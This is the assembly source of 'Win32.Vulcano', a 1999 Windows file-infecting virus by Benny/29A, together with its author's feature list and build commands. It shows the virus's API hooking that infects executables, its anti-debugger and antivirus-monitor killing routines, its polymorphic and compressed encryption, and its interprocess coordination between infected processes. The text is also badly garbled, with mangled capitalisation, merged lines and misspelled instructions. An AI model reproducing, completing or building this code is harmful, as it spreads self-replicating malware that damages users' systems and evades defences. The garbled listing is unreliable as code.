; ??????? ??????? ???????
; ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
Win32.vulcano ?????? ?????????????
BY BENNY / 29A ??????? ?????????????
; ??????? ?????????????
;
;
;
Description
; ????????????
;
;
Hello Everybody,
;
I Was Wrong. NOT Begemot, But Vulcano is My Best Virus: d. It has lot of nice
And NEVER PUBLISHED FEATURES AND IS OFCOZ, VERY OPTIMIZED. I Hope U Will
Like, Coz this TOOK Me Much Time To Code and Even More Time To Test It. Here
Comes a little description of this. heh, this is my best Virus and it Has Very
Small description - I don't know how to better present it tour Just Write
A List of its features. Enjoy it!
;
This Virus IS:
; - The First Multiprocess Win32 (Win95 / 98 / NT / 2K Compatible)
; Virus with interprocess communication (!!!)
: - Per-Process Resident Multithreaded Fast Mid-Infector
Polymorphic Using Two Layers - Advanced BPE32 and
Second Semi-Morpher
; - Compressed use BCE32
; - Heavilly Armoured
; - CRC32 protected
Undetectable by any Antivirus
;
This Virus Uses:
; - structured exception handling
; - EPO ROUTIES (Virus Patches One Imported API)
; - Crc32 Records Instead of Raw Ansi Strings
; - Anti- * routines
: - Pentium and undocunted Instructions (Also In Poly Decryptor)
;
This Virus Doesn't:
; - Infect System Files
; - Infect Files Which Doesn't Contain. BRELOC Section
; - Infect Small Files
- enlarge file
; - Contain Any PayLoad
;
This Virus Is Able TO:
; - deActivate Some av monitors
; - Infect EXE / SCR / SFX / CPL / DAT / BAK FILES
; - overwrite reelocations
; - Communicate with other instances of virus. INSTANCES OF VIRUS
;
And Much More. In Short Words, this Virus Presents Many New Hot Features NEVER
Been Published.
;
;
;
Interprocess Communication (IPC); ?????????????????????????
;
;
This is the best part of the varus :). The main idea is: make all actions
......................
But ifness in system, Virus Will Pass Control
To That Instance of Virus. This Very Difficult Stuff Is Realiad by File Mapping
Mirrored in swap file, mutexes and threads. That code is very optimized, but
UnfortuneEtely, IT Contains Some Bugs, Which Fortunately Aren't Much Visible.
In 99,9999% of All Cases U Won't See anything. That's Truth.
;
;
;
What WILL HAPPEN ON EXECUTION?
; ?????????????????????????
;
;
; Virus Will (After Patch API Will BE CALLED):
1) Decrypt It's Body by Polymorphic Decryptor
; 2) Decompress Virus Body
; 3) Decrypt Virus Body by 2nd Decryptor
; 4) Check Consistency of Virus Body by CRC32 - This prevents from setting
Breakpoints
; 5) CHECK for Pentium Processor
; 6) Find Base of Kernel32.dll in Memory
; 7) Find all Needed API (Using CRC32)
; 8) CREATE New Thread Which Will Hook Some API Functions
; 9) Wait for Thread Termination
; 10) CREATE / OPEN THE SPACE IN SWAP FILE AND INITIALIZE (CREATE New) Record
; for ipc
11) CREATE New Thread for IPC
; 12) jump to host
;
;
After Hooked API Call (API MANIPULATING WILES) WILL VIRUS:
1) GET File Name
; 2) Check File Properties VIA IPC
; 3) Open file, Check IT and Infect IT VIA IPC
; 4) Call Original API (Depending ON API)
;
;
After Hooked API Call (EXITPROCESS, GetLastError, ...) WILL VIRUS:
; 1) Check for Application Level Debugger Via IPC (if Found, Process Will Be
; Remotely Terminated - Veeery Nice Feature :))
; 2) Check for system level debugger (Softice) VIA IPC; 3) Check for Monitors in Memory Via IPC
; 4) Find Random File
; 5) Check IT VIA IPC
; 6) CHECK AND INFECT IT VIA IPC
;
;
IPC Thread in Memory Will:
1) Check for New Request
; 2) Do Property Action
; 3) Pass Execution To Next Thread
;
;
;
Greetz
; ???????
;
;
Darkman / 29a .... Finally I finished it! Hope u Like IT ...
BILLY_BEL ... WHERE R u? Please mail me ...
Griyo .......... u Genius!
Flush .......... No, Neni to Sice Tak Super Jako To Vase, Ale Da Se To
Snest, Doufam :)
Starzer0 ....... WHO is Axelle? X-D
;
;
;
How to build it
; ?????????????????
;
;
; TASM32-ML -M9 -Q Vulcano.asm
TLINK32 -TPE -C -X -AA -R Vulcano,, IMPORT32
Pewrsec Vulcano.exe
;
;
;
Last Notes
; ???????????
;
Yeah, I'm really happy, coz i finished That. It was very hard to code it and
Much Harder to Debug It. I Know It Has SMALL BUGS, But I Hope U Will Like
IT over the all negative assects as buggy code is. please, tell me what do u
Think About It on Irc, or by Mail. I Can Provide u binary form and if u want
To Have It, Then There's Nothing Easier Than Contact me on benny@post.cz.
The Hardest Thing to Code Was Synchronization Module. In First Versions Of
Vulcano I buy Normal Variable As Semaphores, But The Code WAS VERY SLOW AND
Buggy. Then I Recompiled It with mutexes and it worked Much Better. However,
There Is Still Code, Which I can't and don't want to change.
Last Thing: This Virus Wasn't Coded for Spreading, But Just and Only for For SPREUS
; education purposes online files with reelness table
And i Hope IT IS Kewl Virus without all those spread-features.
;
;
;
(c) 1999 Benny / 29A. Enjoy! .586p; why not;)
.MODEL FLAT; FLAT MODEL
Include Mz.inc; Include Some Important
Include pe.inc; incrude-filez
Include Win32API.inc
INCLUDE USEFUL.INC
Some INSTRUCTIONS
Push_Large_0 Equ; Push Large 0
Salc Equ; Salc Opcode
RDTCS EQU; RDTCS
; Some Equates for VLCB (VLCB = Vulcano Control Block)
VLCB_SIGNATURE EQU 00; SIGNATURE
VLCB_TSep EQU 08; Record Separator
VLCB_THANDLE EQU 00; MUTEX HANDLE
VLCB_TID EQU 04; ID OF Service
VLCB_TDATA EQU 08; DATA
VLCB_TSIZE EQU SIZEOF_WIN32_FIND_DATA 8; SIZE OF One Record
VLCB_SETWAIT EQU 00; SET DATA AND WAIT for RESULT
VLCB_Waitget EQU 01; Wait for Signalisation and Get Data
VLCB_QUIT EQU 01; Quit
VLCB_CHECK EQU 02; Check File
VLCB_INFECT EQU 03; Infect File
VLCB_Debug1 EQU 04; Check for App Level Debugger
VLCB_Debug2 EQU 05; Check for Softice
VLCB_Monitor EQU 06; Check for Avp and Amon Monitors
J_API Macro API; JMP DWORD PTR [xxxxxxxh]
DW 25ffh
API DD?
ENDM
C_API Macro API; Call DWORD PTR [xxxxxxxh]
DW 15ffh
API DD?
ENDM
EXTRN GETMODULEHANDLEA: PROC; APIS NEEDEDIN FIRST
EXTRN EXITPROCESS: Proc; Generation ONLY
.DATA; DATA Section
Vulcanoinit:; Start of Virus
SALC; undoc. Opcode to fuck emulators
Push DWORD PTR [Offset _getmoduleHandlea]; Push Original API
DDAPI = DWORD PTR $ -4
Push 400000H; Push Image Base
IMGBase = dword ptr $ -4
Pushad; Store All Registers
Call GD; Get Delta Offset
GD: POP EBP; ...
Lea ESI, [EBP _COMPRESSED_ - GD]; WHERE IS Compressed Virus
Stored
Lea EDI, [EBP DECOMPRESSED - GD]; WHERE WILL BE Virus
Decompressed
MOV ECX, 0; SIZE OF Compressed Virus
C_SIZE = DWORD PTR $ -4
; Decompression Routine from BCE32 Starts Here.
Pushad; save all regs
XOR EAX, EAX; EBP; EBP = 0
CDQ; EDX = 0
LODSB; Load Decryption Key
Push Eax; Store IT
LODSB; load first byte
Push 8; Store 8
Push Edx; Store 0
D_BITS: Push Ecx; Store ECX
Test Al, 80h; Test for 1
JNE DB0
Test Al, 0C0H; Test for 00
JE DB1
Test Al, 0a0h; test for 010
JE DB2
MOV CL, 6; ITS 011
JMP TB2
TESTB: TEST BL, 1; Is IT 1?
JNE P1
Push 0; No, Store 0
_TB_: MOV EAX, EBP; loading byte to eax
OR Al, [ESP]; SET BIT
Ror Al, 1; And make Space for Next ONE
Call cbit
RET
P1: Push 1; Store 1
JMP _TB_; and continche
DB0: XOR CL, Cl; CL = 0
MOV BYTE PTR [ESP 4], 1; STORE 1
Testbits:
Push Eax; Store IT
Push ebx; ...
MOV EBX, [ESP 20]; Load Parameter
Ror BL, Cl; Shift to Next Bit GROUP
Call testb; test bit
Ror BL, 1; Next bit
Call testb; test it
POP EBX; RESTORE REGS
POP EAX
MOV ECX, [ESP 4]; Load Parameter
BCOPY: CMP BYTE PTR [ESP 8], 8; 8. bit?
JNE DNLB; NOPE, Continue
MOV EBX, EAX; load next byte
Lodsb
XCHG EAX, EBX
MOV BYTE PTR [ESP 8], 0; And Nulify Parameter
DEC DWORD PTR [ESP]; Decrement Parameter
DNLB: SHL Al, 1; Next Bit
TEST BL, 80H; Is IT 1?
JE NB; NO, Continue
OR Al, 1; Yeah, SET BIT
NB: ROL BL, 1; Next bit
Inc Byte PTR [ESP 8]; Increment Parameter
Loop bcopy; and align next bits
POP ECX; Restore ECX
INC ECX; Test Flags
Dec ECX; ...
JNS D_BITS; if Not Sign, Jump
POP Eax; Delete Pushed Parameters
POP EAX; ...
POP EAX; ...
Popad; Restore All Regs
JMP Decompressed
CBIT: Inc EDX; Increment Counter
CMP DL, 8; BYTE FULL?
JNE N_BYTE; NO, Continue
StoSb; Yeah, Store Byte
XOR Eax, Eax; And Prepare Next One
CDQ; ...
N_BYTE: MOV EBP, EAX; Save Back Byte
RET PSHD; Quit from Procedure With One Parameter On StackDB1: MOV CL, 2; 2. Bit in Decryption Key
MOV BYTE PTR [ESP 4], 2; 2 Bit Wide
JMP TestBits; Test Bits
DB2: MOV CL, 4; 4. Bit
TB2: MOV BYTE PTR [ESP 4], 3; 3 Bit Wide
JMP TestBits; Test Bits
_COMPRESSED_DB VIRUS_END-COMPRESSED 200H DUP (?); Here Is Stored Compressed
virus body
DB Virus_END-COMPRESSED DUP (?); Here Decompressed
DB SIZE_UNINT DUP (?); and here all uninitialize
Variables
Virtual_end:; End of Virus in Memory
ENDS
.code; Start of code section
First_gen:; First Generation Code
Second Layer of Encryption
MOV ESI, Offset Encrypted; Encrypt from ...
MOV ECX, (virus_end-encrypted 3) / 4; Encrypt How Many Bytes ...
ENCRYPT1:
Lodsd; Get DWORD
XOR EAX, 1; Encrypt
MOV [ESI-4], Eax; and Store IT
Loop encrypt1;
Mov ESI, Offset Compressed; Source
MOV EDI, OFFSET _COMPRESSED_; DESTINATION
MOV ECX, Virus_END-COMPRESSED 2; SIZE
Mov EBX, Offset Workspace1; Workspace1
Mov Edx, Offset Workspace2; Workspace2
Call Bce32_compress; Compress Virus Body!
Dec EAX
MOV [c_size], eax; save compressed virus size
Push 0; Parameter for getModuleHandlea
Call Vulcanoinit; Call Virus Code
Push 0; Parameter for EXITPROCESS
Call EXITPROCESS; this Will Behooked by Virus L8R
COMPRESSION ROM BCE32 Starts Here. This is used.
BCE32_COMPRESS PROC
Pushad; save all regs
Stage 1
Pushad; and Again
CREATE_TABLE:
Push Ecx; Save for L8R Usage
Push 4
POP ECX; ECX = 4
LODSB; Load Byte To Al
L_Table: Push Eax; Save IT
XOR EDX, EDX; EDX = 0
And Al, 3; this Stuff Will Separate and Test
JE ST_END; BIT GROUPS
CMP AL, 2
Je ST2
CMP Al, 3
Je ST3
ST1: inc Edx; 01
JMP ST_END
ST2: Inc EDX; 10inc EDX
JMP ST_END
ST3: MOV DL, 3; 11
ST_END: INC DWORD PTR [EBX 4 * EDX]; Increment Count In Table
POP EAX
Ror Al, 2; Next Bit Group
LOOP L_TABLE
POP ECX; Restore Number of Bytes
Loop Create_Table; Next Byte
Push 4; this will check for same number
POP ECX; ECX = 4
RE_T: CDQ; EDX = 0
T_loop: MOV Eax, [EBX 4 * EDX]; Load Dword
INC DWORD PTR [EBX 4 * EDX]; Increment IT
CMP EAX, [EBX]; test for Same Numbers
Je _inc_; ...
CMP EAX, [EBX 4]; ...
Je _inc_; ...
CMP EAX, [EBX 8]; ...
Je _inc_; ...
CMP EAX, [EBX 12]; ...
JNE Ninc_; ...
_inc_: incd DWORD PTR [EBX 4 * EDX]; Same, Increment IT
Inc ECX; Increment Counter (Check It in Next Turn)
NINC_: CMP DL, 3; TABLE OVERFLOW?
JE RE_T; YEAH, ONCE AGAIN
Inc EDX; Increment Offset To Table
Loop t_loop; loop
Popad; Restore Regs
Stage 2
Pushad; save all regs
MOV ESI, EBX; Get Pointer to Table
Push 3
POP EBX; EBX = 3
MOV ECX, EBX; ECX = 3
Rep_sort:; bubble sort = the biggest value will
; Always "Bubble Up", SO We know Number
Steps
Push Ecx; Save IT
MOV ECX, EBX; SET POINTERZ
Mov EDI, EDX; ...
Push EDX; Save IT
LODSD; LOAD DWORD (Count)
Mov Edx, EAX; Save IT
Sort: lodsd; loading next
CMP EAX, EDX; IS IT Bigger
JB Noswap; No, Store IT
Xchg Eax, EDX; Yeah, Swap DWORDS
Noswap: StOSD; Store IT
Loop Sort; Next DWORD
Mov Eax, Edx; Biggest in Edx, SWAP IT
Stosd; and store
Lea ESI, [EDI-16]; Get Back Pointer
POP EDX; Restore Regs
POP ECX
Loop rep_sort; and try next dword
Popad
Stage 3
Pushad; save all regs
XOR Eax, Eax; EAX = 0
Push Eax; Save IT
Push 4
POP ECX; ECX = 4
N_Search:
Push EDX; Save Regs
Push ECX
Lea ESI, [EBX 4 * EAX]; Get Pointer to Table
Push Eax; Store Reglodsd; Load Dword To EAX
Push 3
POP ECX; ECX = 3
Mov Edi, ECX; SET POINTERZ
Search: MOV ESI, EDX
Push Eax; Save IT
LODSD; loading next
MOV EBP, EBP
POP EAX
CMP EAX, EBP; END?
JE END_SEARCH
Dec Edi; Next Search
Add EDX, 4
Loop Search
END_SEARCH:
POP EAX; and Next Step
INC EAX
POP ECX
POP EDX
Add [ESP], EDI
ROL BYTE PTR [ESP], 2
Loop n_search
POP [ESP.PUSHAD_EBX]; Restore All
POPAD; ...
; Stage 4
XOR EBP, EBP; EBP = 0
XOR EDX, EDX; EDX = 0
MOV [EDI], BL; Store Decryption Key
Inc EDI; Increment Pointer
Next_BYTE:
XOR Eax, Eax; EAX = 0
Push ECX
LODSB; Load Next Byte
Push 4
POP ECX; ECX = 4
Next_bits:
Push Ecx; Store Regs
Push EAX
And Al, 3; Separate Bit Group
Push Ebx; Compare with Next Group
And BL, 3
CMP AL, BL
POP EBX
JE CB0
Push Ebx; Compare with Next Group
Ror BL, 2
And BL, 3
CMP AL, BL
POP EBX
JE CB1
Push Ebx; Compare with Next Group
Ror BL, 4
And BL, 3
CMP AL, BL
POP EBX
JE CB2
Push 0; store bit 0
Call copy_bit
Push 1; Store Bit 1
Call copy_bit
CB0: Push 1; Store Bit 1
END_CB1: Call Copy_bit
POP EAX
POP ECX
Ror Al, 2
Loop next_bits; next bit
POP ECX
Loop next_byte; Next byte
Mov Eax, EDI; Save New Size
Sub eax, [esp.pushad_edi]; ...
MOV [ESP.PUSHAD_EAX], EAX; ...
Popad; Restore All Regs
CMP EAX, ECX; Test for Negative Compression
JB C_OK; POSTIVE COMPRESSION
STC; CLEAR FLAG
Ret; and quit
C_OK: Clc; Negative Compression, Set Flag
Ret; and quit
CB1: Push 0; Store Bit 0
END_CB2: CALL COPY_BIT
Push 0; store bit 0
JMP END_CB1
CB2: Push 0; Store bit 0
Call copy_bit
Push 1; Store Bit 1
JMP END_CB2
COPY_BIT:
MOV EAX, EBP; Get Byte from EBP
SHL Al, 1; Make Space for Next Bit
OR Al, [ESP 4]; SET BIT
JMP cbitbce32_compress endp; End of Compression Procedure
Compressed:; Compressed Body Starts Here
@Seh_setupframe; setup SEH FRAME
Call gdlta; Calculate Delta Offset
GDELTA: DD DDFINDFIRSTFILEA-GDELTA; Addresses
DD DDFINDNEXTFILEA-GDELTA; of Variables
DD ddfindclose-gdelta; WHERE WILL
DD DDSETFILEATTRIBUTESA-GDELTA; Be store
DD DDSETFILETIME-GDELTA; Addresses of Apis
DD DDCREATEFILEA-GDELTA
DD DDCREATEFILEMAPPINGA-GDELTA
DD DDMAPVIEWOFFILE-GDELTA
DD DDUNMAPVIEWOFFILE-GDELTA
DD DDCREATHREAD-GDELTA
DD DDWAITFORSINGLEOBJECT-GDELTA
DD DDCLOSEHANDLE-GDELTA
DD DDCREATEMUTEXA-GDELTA
DD DDRELESEMUTEX-GDELTA
DD DDOPENMUTEXA-GDELTA
DD DDSLEP-GDELTA
DD DDVIRTUALPROTECT-GDELTA
DD DDGETCURRENTPROCESSID-GDELTA
DD DDOPENPROCESS-GDELTA
DD DDTERMINATEPROCESS-GDELTA
DD DDLOADLIBRARYA-GDELTA
DD DDGETPROCADDRESS-GDELTA
DD DDFREELIBRARY-GDELTA
DD?; End of Record
Newhookers:
DD newfindfirstfilea-gdelta; addresses of api hookers
DD NewFindNextFilea-GDELTA
DD NewcopyFilea-GDELTA
DD NewcopyFileExa-GDELTA
DD newcreatefilea-gdelta
DD NewCreateProcessa-GDELTA
DD Newdeletefilea-GDELTA
DD NewGetfileAttributesa-gdelta
DD NewGetFullPathnamea-gdelta
DD New_LOPEN-GDELTA
DD newmovefilea-gdelta
DD newmovefileexa-gdelta
DD Newopenfile-GDELTA
Dd NewsetFileAttributesa-gdelta
DD newwinexec-gdelta
DD NewExitProcess-GDELTA
DD NewExitthread-GDELTA
DD NewGetLastError-GDELTA
DD NewCloseHandle-GDELTA
DD?; End of Record
Oldhookers:
DD OldFindFirstFilea-gdelta; addresses, Where will be
DD OldFindNextFilea-gdelta; stored Original
DD OldcopyFilea-gdelta; API Callers
DD OldcopyFileExa-GDELTA
DD OldcreateFilea-GDELTA
DD OldcreateProcessa-GDELTA
DD Olddeletefilea-gdelta
DD OldGetFileAttributesa-gdelta
DD OldGetFullPathnamea-gdeltadd old_lopen-gdelta
DD OldMoveFilea-GDELTA
DD OldMovefileExa-gdelta
DD Oldopenfile-GDELTA
DD OldsetFileAttributesa-gdelta
DD Oldwinexec-GDELTA
DD OldexitProcess-GDELTA
DD Oldexitthread-GDELTA
DD OldgetLastError-GDELTA
DD OldCloseHandle-GDELTA
GDLTA: POP EBP; GET DELTA OFFSET
Lea ESI, [EBP Encrypted - Getlta]; Get Start of Encrypted Code
MOV ECX, (virus_end-encrypted 3) / 4; Number of DWords to Encrypt
Push es; save selector
Push DS
POP ES; ES = DS
Decrypt: Lodsd; Load Dword
XOR Eax, 1; Decrypt IT
Mov ES: [ESI-4], EAX; Save DWord with Antiav (usage of
Loop Decrypt; Selectors
Encrypted:; Encrypted Code Starts Here
POP ES; Restore SELECTOR
LEA ESI, [EBP CRC32PROT - GDELTA]; Start of CRC32 Protected Code
Mov edi, virus_end-crc32prot; Size of That
Call CRC32; Calculate CRC32
CMP Eax, 05BB5B647H; Check for consistency
CRC32PROT:
JNE JMP_HOST; JUMP to Host IF Breakpoints Set and Such
Pentium Check
Pushhad
Pushfd; save eflags
POP EAX; Get Them
Mov ECX, EAX; Save them
OR EAX, 200000H; Flip ID Bit in EFLAGS
Push Eax; Store
POPFD; Flags
Pushfd; Get Them Back
POP EAX; ...
XOR EAX, ECX; Same?
JE END_CC; Shit, WE R on 486-
XOR Eax, Eax; EAX = 0
Inc EAX; EAX = 1
CPUID; cpuid
And Eax, 111100000000B; Mask Processor Family
CMP AH, 4; Is IT 486?
JE end_cc; baraaaaad
Popad
Mov Eax, DS; this Will FUCK
Push Eax; Some Old Versions
POP DS; of NODICE
MOV EBX, DS
XOR EAX, EBX
JNE JMP_HOST
Mov Eax, 77F00000H; Winnt 4.0 K32 Image Base
Call get_base
JECXZ K32_FOUND; We Got Image Base
Mov Eax, 77e00000H; Win2k K32 Image Base
Call get_base
JECXZ K32_FOUND; We Got Image Base
Mov Eax, 77ed0000h; Win2k K32 Image Base
Call get_base
JECXZ K32_FOUND; We got Image Basemov Eax, 0BFF70000H; WIN95 / 98 K32 Image Base
Call get_base
Test ECX, ECX
JNE JMP_HOST; Base of K32 Not Found, Quit
Push CS
Lea EBX, [EBP K32_FOUND - GDELTA]; Continue on Another Label
Push EBX
Retf; fuck u emulator! :)
END_CC: POPAD; Restore All Registers
JMP jmp_host; and jump to host
DB 'Win32.Vulcano by Benny / 29a'; Little Signature :)
K32_Found:
MOV EBX, [ESP.CPUSHAD 8]; Get Image Base Of APP
MOV [EBP GMHA - GDELTA], EBX; Save IT
Add EBX, [EBX.MZ_LFANEW]; Get to PE Header
Lea ESI, [EBP CRCAPIS - GDELTA]; Start of CRC32 API TABLE
MOV EDX, EBP; Get Table of Pointers
S_ET: MOV EDI, [EDX]; GET ITEM
TEST EDI, EDI; IS IT 0?
JE end_et; yeah, work is done
Add Edi, EBP; Normalize
Push Eax; Save EAX
Call search; Search for API
STOSD; Save ITS ADDRESS
Test Eax, Eax; WAS it 0?
POP Eax; Restore EAX
Je jmp_host; yeah, error, quit
Add ESI, 4; CORRECT POINTERS
Add Edx, 4; To Pointers ...
JMP S_ET; LOOP
GET_BASE:
Pushad; save all registers
@Seh_setupframe; setup SEH FRAME
XOR ECX, ECX; SET Error Value
Inc ECX
CMP Word Ptr [EAX], image_dos_signature; is it exe?
JNE ERR_GBASE; NO, Quit
Dec Ecx; Yeah, Set Flag
Err_GBase:; and quit
@Seh_removeframe; Remove SEH FRAME
MOV [ESP.PUSHAD_ECX], ECX; Save Flag
Popad; restore all registers
Ret; and quit from procedure
END_ET: Lea Eax, [EBP TMP - GDELTA]; Now We will create new
Push Eax; Thread to Hide Writing to
XOR EAX, Eax; Import Table
Push EAX
Push EBP; Delta Offset
Lea Edx, [EBP NewTHREAD - GDELTA]; Address of Thread Procedure
Push Edx
Push eax; and other shit to stack
Push EAX
MOV EAX, 0
DDCREATTHREAD = DWORD PTR $ -4
Call Eax; Create Thread!
Test Eax, Eax; Is EAX = 0? JE JMP_HOST; YEAH, Quit
Push Eax; Parameter for CloseHandle
Push -1; infinite loop
Push Eax; Handle of Thread
Call [EBP DDWAITFORSINGLEOBJECT - GDELTA]; WAIT for Thread Termination
Call [EBP DDCLOSEHANDLE - GDELTA]; Close Thread Handle
Now WE WILL CREATE SPACE in Shared Memory for VLCB Structure
Call @vlcb
DB 'VLCB', 0; Name of Shared Area
@VLCB: Push 2000H; Size of Area
PUSH 0
Push Page_Readwrite
PUSH 0
Push -1; swap file!
Call [EBP DDCREATEFILEMAPPINGA - GDELTA]; OPEN AREA
Test Eax, EAX
JE JMP_HOST; Quit IF Error
XOR EDX, EDX
Push Edx
Push Edx
Push Edx
Push file_map_write
Push EAX
Call [EBP DDMAPVIEWOFFILE - GDELTA]; MAP View of File to Address
XCHG EAX, EDI; Space of Virus
Test EDI, EDI
JE end_gd1; quit if error
MOV [EBP VLCBBASE - GDELTA], EDI; Save Base Address
Now We Will Create Named Mutex
Call @@@ 1; push address of name
@@ 1: DD 0; Random Name
@@@ 1: RDTCS; Get Random Number
Mov EDX, [ESP]; Get Address of Name
SHR Eax, 8; Terminate String with / 0
MOV [EDX], EAX; and Save IT
MOV ESI, [ESP]; Get Address of Generated Name
PUSH 0
PUSH 0
MOV EAX, 0
DDCReateMutexa = DWORD PTR $ -4
Call Eax; CREATE MUTEX
Test Eax, EAX
JE end_gd2; quit if error
Now We Will Initialize VLCB Structure
XOR EDX, EDX; EDX = 0
MOV EAX, EDI; Get Base of VLCB
MOV [Eax.Vlcb_signature], 'BCLV'; Save Signature
; NOW WE WILL Initialize Record for Thread
MOV ECX, 20; 20 Communication Channels
SR_T: CMP DWORD PTR [EDI.VLCB_TSEP.VLCB_THANDLE], 0; Check Handle
JNE TNEXT; if Already Reserved, THEN TRY NEXT
MOV ESI, [ESI]; Get Name of Mutex
MOV [edi.vlcb_tsep.vlcb_thandle], ESI; Save IT
MOV [EBP T_NUMBER - GDELTA], EDX; and Save ID Number of Mutexlea Eax, [EBP TMP - GDELTA]; CREATE New THREAD
Push Eax; for IPC
XOR EAX, EAX
Push EAX
Push EBP
Lea Edx, [EBP MTHREAD - GDELTA]; Address of Thread Procedure
Push Edx
Push EAX
Push EAX
Call [EBP DDCREATHREAD - GDELTA]; CREATE New THREAD
XCHG EAX, ECX
JECXZ END_GD3; Quit IF Error
JMP_HOST:
@Seh_removeframe; Remove SEH FRAME
Mov Eax, [ESP.CPUSHAD 4]; Save Address of Previous
MOV [ESP.PUSHAD_EAX], EAX; API Caller
Popad; Restore All Regs
Add ESP, 8; Repair Stack Pointer
Push CS; Save Selector
Push Eax; Save Offset of Api Caller
Retf; jump to host :)
TNEXT: ADD EDI, VLCB_TSIZE; Get to Next Record
Inc EDX; Increment Counter
LOOP SR_T; TRY AGAIN
JMP JMP_Host; Quit IF More Than 20 Viruses R in Memory
END_GD3: PUSH ESI
Call [EBP DDCLOSEHANDLE - GDELTA]; Close Mutex
END_GD2: PUSH DWORD PTR [EBP VLCBBASE - GDELTA]
Call [EBP DDUNMAPVIEWOFFILE - GDELTA]; Unmap VLCB
END_GD1: Push EDI
Call [EBP DDCLOSEHANDLE - GDELTA]; Close Mapping Of File
JMP jmp_host; and jump to host
GTDELTA: Call Mgdlta; Procedure Used to getting
Mgdelta: DB 0B8H; Fuck u Disassemblers
Mgdlta: POP EBP; Get IT
Ret; and quit
NewFindFirstFilea:; Hooker for FindfirstFilea API
Push DWORD PTR [ESP 8]; Push Parameters
Push DWORD PTR [ESP 8]; ...
C_API OldFindFirstFilea; Call Original API
p_file: pushad; store all registers
Call gtdelta; get delta
MOV EBX, [ESP.CPUSHAD 8]; Get Win32 Find Data
Call Check & Infect; Try to Infect File
Popad; restore all registers
Ret 8; and quit
NewFindNextFilea:
Push DWORD PTR [ESP 8]; Push Parameters
Push DWORD PTR [ESP 8]; ...
C_API OldFindNextFilea; Call Previous APIJMP P_FILE; and Continue
Process_file:
Pushad; Store All Registers
Call gtdelta; get delta offset
Lea ESI, [EBP WFD2 - Mgdelta]; Get Win32_Find_Data
Push ESI; SAVE IT
Push DWORD PTR [ESP.CPUSHAD 0CH]; Push Offset To FileName
Call [EBP DDFINDFIRSTFILEA - MGDELTA]; Find That File
INC EAX
JE END_PF; Quit IF Error
Dec EAX
XCHG EAX, ECX; Handle To ECX
MOV EBX, ESI; WFD to EBX
Call Check & Infect; Check and Infect IT
Push ECX
Call [EBP DDFINDCLOSE - MGDELTA]; Close Find Handle
END_PF: POPAD; Restore All Registers
Ret; and quit
Generic Hookers for Some Apis
NewcopyFileExa:
Call Process_file
J_API OldcopyFileExa
NewcopyFilea:
Call Process_file
J_API OldcopyFilea
NewCreateFilea:
Call Process_file
J_API OldcreateFilea
NewCreateProcessa:
Call Process_file
J_API OldCreateProcessa
Newdeletefilea:
Call Process_file
J_API Olddeletefilea
NewgetFileAttributesa:
Call Process_file
J_API OldGetFileAttributesa
NewGetFullPathnamea:
Call Process_file
J_API OldGetFullPathNamea
NEW_LOPEN:
Call Process_file
J_API OLD_LOPEN
NewMovefilea:
Call Process_file
J_API OldMovefilea
NewMovefileExa:
Call Process_file
J_API OldMoveFileExa
NEWOPENFILE:
Call Process_file
J_API Oldopenfile
NewsetFileAttributesa:
Call Process_file
J_API OldsetFileAttributesa
Newwinexec:
Call Process_file
J_API Oldwinexec
Open_driver:
XOR Eax, Eax; EAX = 0
Push eax; parameters
PUSH 4000000H; for
Push Eax; CreateFilea
Push Eax; API
Push Eax; Function
Push Eax; ...
Push EBX
Call [EBP DDCREATEFILEA - MGDELTA]; Open Driver
RET
Close_Driver:
Push Eax; Close ITS Handle
Call [EBP DDCLOSEHANDLE - MGDELTA]
RET
Common_stage:; infect files in curr. DirectoryPushad
Call gtdelta; get delta offset
MOV ECX, FS: [20h]; Get Context Debug
JECXZ N_DEBUG; if Zero, Debug is Not Present
K_Debug: MOV Eax, 0
DDGETCURRENTPROCESSID = DWORD PTR $ -4
Call Eax; Get ID Number of current Process
Call VLCB_STUPH; Common Stuph
Lea ESI, [EBP DATA_BUFFER - MGDELTA]
Mov DWORD PTR [ESI.WFD_SZALTERNATEFILENAME], EBP; Set Random Data
MOV EBX, VLCB_Debug1; Kill Debugger
Call get_set_vlcb; ipc!
VLCB_STUPH:
XOR EDX, EDX; Random Thread
Dec edx
MOV ECX, VLCB_SetWait; Set and Wait For Result
RET
N_debug: Call VLCB_Stuph; Common Stuph
Lea ESI, [EBP DATA_BUFFER - MGDELTA]
Mov DWORD PTR [ESI.WFD_SZALTERNATEFILENAME], EBP; Set Random Data
MOV EBX, VLCB_Debug2; Check for Softice
Call get_set_vlcb; ipc!
MOV Eax, DWORD PTR [ESI.WFD_SZALTERNATEFILENAME]; Get Result
Dec EAX
Test Eax, EAX
Je endep; quit if softice in membrate
Call VLCB_STUPH; Common Stuph
Lea ESI, [EBP DATA_BUFFER - MGDELTA]
Mov DWORD PTR [ESI.WFD_SZALTERNATEFILENAME], EBP; Set Random Data
MOV EBX, VLCB_Monitor; Kill Monitors
Call get_set_vlcb; ipc!
Lea EBX, [EBP WFD - MGDELTA]; Get Win32 Find Data
Push Ebx; Store ITS Address
Call star
DB '*. *', 0; CREATE MASK
Star: MOV Eax, 0
DDFINDFIRSTFILEA = DWORD PTR $ -4
Call Eax; Find file
INC EAX
Je endep; if error, Then Quit
Dec EAX
MOV [EBP FHANDLE - MGDELTA], EAX; Store Handle
Call Check & Infect; and try to infect file
Findf: Lea EBX, [EBP WFD - MGDELTA]; Get Win32 Find Data
Push Ebx; Store Address
Push_Large_0; Store Handle
Fhandle = DWORD PTR $ -4
MOV EAX, 0
DDFINDNEXTFILEA = DWORD PTR $ -4
Call Eax; Find next file
XCHG EAX, ECX; Result to ECX
Jecxz endep2; no more files, quitcall check & infect; try to infect file
JMP Findf; Find Another File
Endep2: Push DWORD PTR [EBP FHANDLE - MGDELTA]; Store Handle
MOV EAX, 0
DDFINDCLOSE = DWORD PTR $ -4
Call Eax; Close IT
Endep: popad
RET
NewExitProcess:; Hooker for EXITPROCESS API
Pushhad
Call Common_Stage; Infect Files in Current Directory
Call gtdelta; get delta offset
MOV EDX, [EBP T_Number - Mgdelta]; Get ID Number of Thread
Push Edx
MOV ECX, VLCB_SetWait; Set and Wait For Result
Lea ESI, [EBP DATA_BUFFER - MGDELTA]
MOV DWORD PTR [ESI.WFD_SZALTERNATEFILENAME], EBP
MOV EBX, VLCB_QUIT; Terminate Thread
Call get_set_vlcb; ipc!
POP EDX; Number of Thread
Imul EDX, VLCB_TSIZE; NOW WE WILL
Push VLCB_TSIZE / 4; ERASE THREAD
POP ECX; Record
Add EDI, EDX; from VLCB
